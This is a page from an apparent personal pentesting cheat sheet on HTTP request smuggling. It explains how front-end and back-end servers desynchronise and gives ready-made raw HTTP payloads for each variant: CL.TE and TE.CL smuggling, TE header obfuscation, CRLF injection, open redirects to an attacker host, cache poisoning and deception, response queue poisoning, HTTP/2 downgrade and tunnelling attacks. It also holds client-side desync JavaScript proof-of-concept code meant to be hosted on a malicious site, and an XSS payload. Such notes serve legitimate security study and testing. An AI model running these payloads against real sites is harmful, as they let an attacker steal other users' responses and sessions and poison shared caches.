Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Detection
  • Obfuscate TE Header
  • CRLF injection
  • Attacks HTTP/1.1
  • Request Rewriting
  • Turn an On-Site Redirect into an Open Redirect
  • Web Cache Poisoning
  • Web Cache Deception
  • Response Queue Poisoning
  • Client-side Desync
  • Attacks HTTP/2
  • H2.CL
  • H2.TE
  • Response Queue Poisoning
  • Request Tunnelling

Was this helpful?

  1. Pentesting Process
  2. Web Attacks

Request Smuggling

Last updated 5 months ago

Was this helpful?

In modern web applications, traffic often flows through a front-end server (e.g., a load balancer or reverse proxy) that forwards HTTP requests to back-end servers. To improve efficiency, the front-end sends multiple requests over the same connection to the back-end. For this to work, both servers must agree on where one request ends, and the next begins. An HTTP request smuggling attack exploits discrepancies in this interpretation between the front-end and back-end. An attacker sends an ambiguous request that is interpreted differently by the two servers, allowing the attacker to "inject" their request into the next one. This can lead to severe vulnerabilities, such as bypassing security controls or stealing data. Request smuggling is primarily associated with HTTP/1 requests. However, websites that support HTTP/2 may be vulnerable, depending on their back-end architecture.

HTTP/1 specification provides two different ways to specify where a request ends:

Content-Length header (Number of byte in body)

Transfer-Encoding header (Chunked)

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
x=smuggling
0

NB: /n/r/n/r after 0

Detection

Obfuscate TE Header

CRLF injection

In HTTP/1, you can sometimes exploit discrepancies between how servers handle standalone newline (\n) characters to smuggle prohibited headers (no \r\n because all HTTP/1 servers agree that this terminates the header).

Foo: bar\nTransfer-Encoding: chunked

On the other hand, in HTTP/2 we can try \r\n because messages are binary rather than text-based. Try in Name Header and Value Header.

Foo: bar\r\nTransfer-Encoding: chunked

Attacks HTTP/1.1

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: foo

53
SMUGGLED
0

It's possible that the back-end server ignores the Content-Length header on requests to some endpoints. The most likely candidates are endpoints that aren't expecting POST requests (they implicitly assume that no requests have a body), such as static files or server-level redirects.

  • 2 requests (attacking endpoint request and an arbitrary follow-up request)

  • On the first set Connection: keep-alive, add body with request target

  • Add the two requests in tab and Send group in sequence (single connection) If the server responds to the second request as normal, this endpoint is not vulnerable.

POST /target_to_test HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Connection: keep-alive

GET /random HTTP/1.1
foo: 

Request Rewriting

In many applications, the front-end server performs some rewriting of requests before they are forwarded to the back-end server (typically by adding some additional request headers such as X-Forwarded-For).

To reveal exactly how the front-end server is rewriting requests:

  • Find a POST request that reflects the value of a request parameter into the application's response.

  • Shuffle the parameters so that the reflected parameter appears last in the message body.

  • Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=<NEW_REQUEST>

Turn an On-Site Redirect into an Open Redirect

On-site redirects from one URL to another and place the hostname from the request's Host header into the redirect URL (ex. Apache and IIS web servers eith a request for a folder without a trailing slash, /home into /home/).

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X 

( --> Redirect with Location: https://attacker-website.com/home/ )

If we have Location: /example/ (relative path), we can try to inject URL in path.

Web Cache Poisoning

The smuggled request reaches the back-end server, which responds as before with the off-site redirect. The front-end server caches this response against what it believes is the URL in the second request. From this point onwards, when other users request this URL, they receive the redirection to the attacker's web site.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X--> GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

Web Cache Deception

Similar to web cache poisoning but the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X--> GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

Response Queue Poisoning

Smuggle a complete request instead of just a prefix, this beacause for this attack there must be no closing of the TCP connection by either server (servers typically close incoming connections when they receive an invalid request).

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

Notice that no invalid requests are hitting the back-end, so the connection should remain open following the attack.

To make it easier to differentiate stolen responses from responses to your own requests, try using a non-existent path in both of the requests that you send (to receive a 404 response).

Now, desynchronizing the response queue.

An attacker can continue to steal responses like this for as long as the front-end/back-end connection remains open. Exactly when a connection is closed differs from server to server, but a common default is to terminate a connection after it has handled 100 requests. It's also trivial to repoison a new connection once the current one is closed.

Client-side Desync

  • Probe and Confirm desync CL.0 vector

  • Use PoC below and add to your malicious site

  • Identify an exploitable gadget (ex. request that write cookie in comment post)

fetch('https://vulnerable-website.com/vulnerable-endpoint', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', // malicious prefix
    mode: 'no-cors', // ensures the connection ID is visible on the Network tab
    credentials: 'include' // poisons the "with-cookies" connection pool
}).then(() => {
    location = 'https://vulnerable-website.com/' // uses the poisoned connection
})
fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    location = 'https://vulnerable-website.com/'
})
fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include',
}).catch(() => {
        fetch('https://vulnerable-website.com/', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

Attacks HTTP/2

Web servers and reverse proxies often do downgrading (the process of rewriting HTTP/2 requests using HTTP/1 syntax to generate an equivalent HTTP/1 request) in order to offer HTTP/2 support to clients while communicating with back-end servers that only speak HTTP/1.

If a website is vulnerable to either H2.CL or H2.TE request smuggling, you can potentially leverage this behavior to perform the same attacks that we see in HTTP/1.1.

H2.CL

HTTP/2 requests don't have to explicitly specify their length in a Content-Length header, but they can. During downgrade, if a Content-Length header is not present, front-end servers add it to create the HTTP/1.1 request, otherwise they simply reuse the one already present. The spec dictates that any content-length header in an HTTP/2 request must match the length calculated using the built-in mechanism, but this isn't always validated properly before downgrading.

As a result, it may be possible to smuggle requests by injecting a misleading content-length header. Although the front-end will use the implicit HTTP/2 length to determine where the request ends, the HTTP/1 back-end has to refer to the Content-Length header derived from your injected one, resulting in a desync.

POST /example HTTP/2
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / H

H2.TE

Chunked transfer encoding is incompatible with HTTP/2 and the spec recommends that any transfer-encoding: chunked header you try to inject should be stripped or the request blocked entirely. If the front-end server fails to do this, and subsequently downgrades the request for an HTTP/1 back-end that does support chunked encoding, this can also enable request smuggling attacks.

POST /example HTTP/2
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

Response Queue Poisoning

:method

GET

:path

/

:authority

vulnerable-website.com

foo

bar\r\n

Host: vulnerable-website.com\r\n \r\n

GET /admin HTTP/1.1

Or

:path

/?cachebuster=1 HTTP/1.1\r\n Foo: bar (HTTP/2)

When rewriting, some front-end servers add the new Host header to the end of the current list of headers, so you need to manually insert it into the header for the first request. You will also need to adjust the positioning of any internal headers that you want to inject in a similar manner.

Request Tunnelling

Many of the request smuggling attacks we've covered are only possible because the same connection between the front-end and back-end server is used for handling multiple requests. HTTP request tunnelling provides a way to craft high-severity exploits even when there is no connection reuse at all.

You can still send a single request that will elicit two responses from the back-end. This potentially enables you to hide a request and its matching response from the front-end altogether. You can use this technique to bypass front-end security measures that may otherwise prevent you from sending certain requests.

Some front-end servers only read in the number of bytes specified in the Content-Length header of the response, so only the first response is forwarded to the client (Blind). You can occasionally make these vulnerabilities non-blind by using HEAD requests (responses to HEAD requests often contain a content-length header).

:method

HEAD

:path

/example

:authority

vulnerable-website.com

foo

bar\r\n \n\r GET /tunnelled HTTP/1.1\n\r Host: vulnerable-website.com\n\r X: x

Try using different endpoint that returns a longer or shorter resource (Content-Length) or use a reflected input in HEAD request or in the tunnelled request.

Web cache poisoning via HTTP/2 request tunnelling

With non-blind request tunnelling, you can effectively mix and match the headers from one response with the body of another. If the response in the body reflects unencoded user input, you may be able to leverage this behavior for reflected XSS in contexts where the browser would not normally execute the code.

:status

200

content-type

text/html

content-length

174

body
HTTP/1.1 200 OK
Content-Type: application/json

{ "name" : "test<script>alert(1)</script>" }
[etc.]

As caching takes place on the front-end, caches can also be tricked into serving these mixed responses to other users.

See also .

See the techniques and find the one that works.

If any part of your front-end infrastructure is caching content from the back-end (typically static resources for performance reasons), it may be possible to poison the cache with .

However, as we've learned from looking at , it's possible to cause a desync using fully browser-compatible HTTP/1.1 requests.

When we looked at , you learned how to split a single HTTP request into exactly two complete requests on the back-end. In the example we looked at, the split occurred inside the message body, but when HTTP/2 downgrading is in play, you can also cause this split to occur in the headers instead.

HTTP/2-exclusive vectors
obfuscation TE header
the off-site redirect response
CL.0 attacks
response queue poisoning